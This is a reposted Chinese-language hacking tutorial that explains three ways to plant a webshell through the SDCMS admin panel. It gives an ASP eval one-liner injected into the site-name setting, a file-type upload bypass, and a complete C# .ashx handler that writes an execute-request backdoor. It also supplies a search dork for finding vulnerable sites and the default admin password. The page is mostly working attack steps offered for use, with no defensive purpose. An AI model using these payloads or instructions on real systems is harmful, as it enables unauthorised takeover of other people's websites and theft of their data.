SDcms后台拿webshell
生活随笔
收集整理的這篇文章主要介紹了
SDcms后台拿webshell
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
第一種方法:
把網站名稱內容修改為 ? "%><%eval request("80lr")' ? ?//密碼為80lr
用菜刀鏈接http://www.80lr.com/inc/const.asp ?就搞定了。
第二種方法:
進入后臺-->系統管理-->系統設置-->系統設置->上傳設置;
在文件類型里面添加一個aaspsp的文件類型,然后找一個上傳的地方直接上傳asp文件! 注:修改文件類型后不能重復點保存!
第三種方法:
文件名寫入getshell.ashx
內容寫入下面內容:
/====================復制下面的=========================/
<%@ WebHandler Language="C#" Class="Handler" %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("getshell.asp"));
file1.Write("<%response.clear:execute request(\"80lr\"):response.End%>");
file1.Flush();
file1.Close();
}
public bool IsReusable {
get {
return false;
}
}
}
/=============================================/
訪問這個地址:http://www.80lr.com/skins/2009/getshell.ashx?
會在http://www.80lr.com/skins/2009/目錄下生成getshell.asp 一句話木馬 密碼為80lr 用菜刀鏈接
送上關鍵詞:intitle:"Powered By SDCMS"
后臺http://www.80lr.com/admin/ ? 默認用戶和密碼:sdcms
本文來自易寒網絡,轉載務必注明原文鏈接:http://www.80lr.com/oday/241.html
總結
以上是生活随笔為你收集整理的SDcms后台拿webshell的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Javascript手把手教你做商品放大
- 下一篇: sdcms留言提交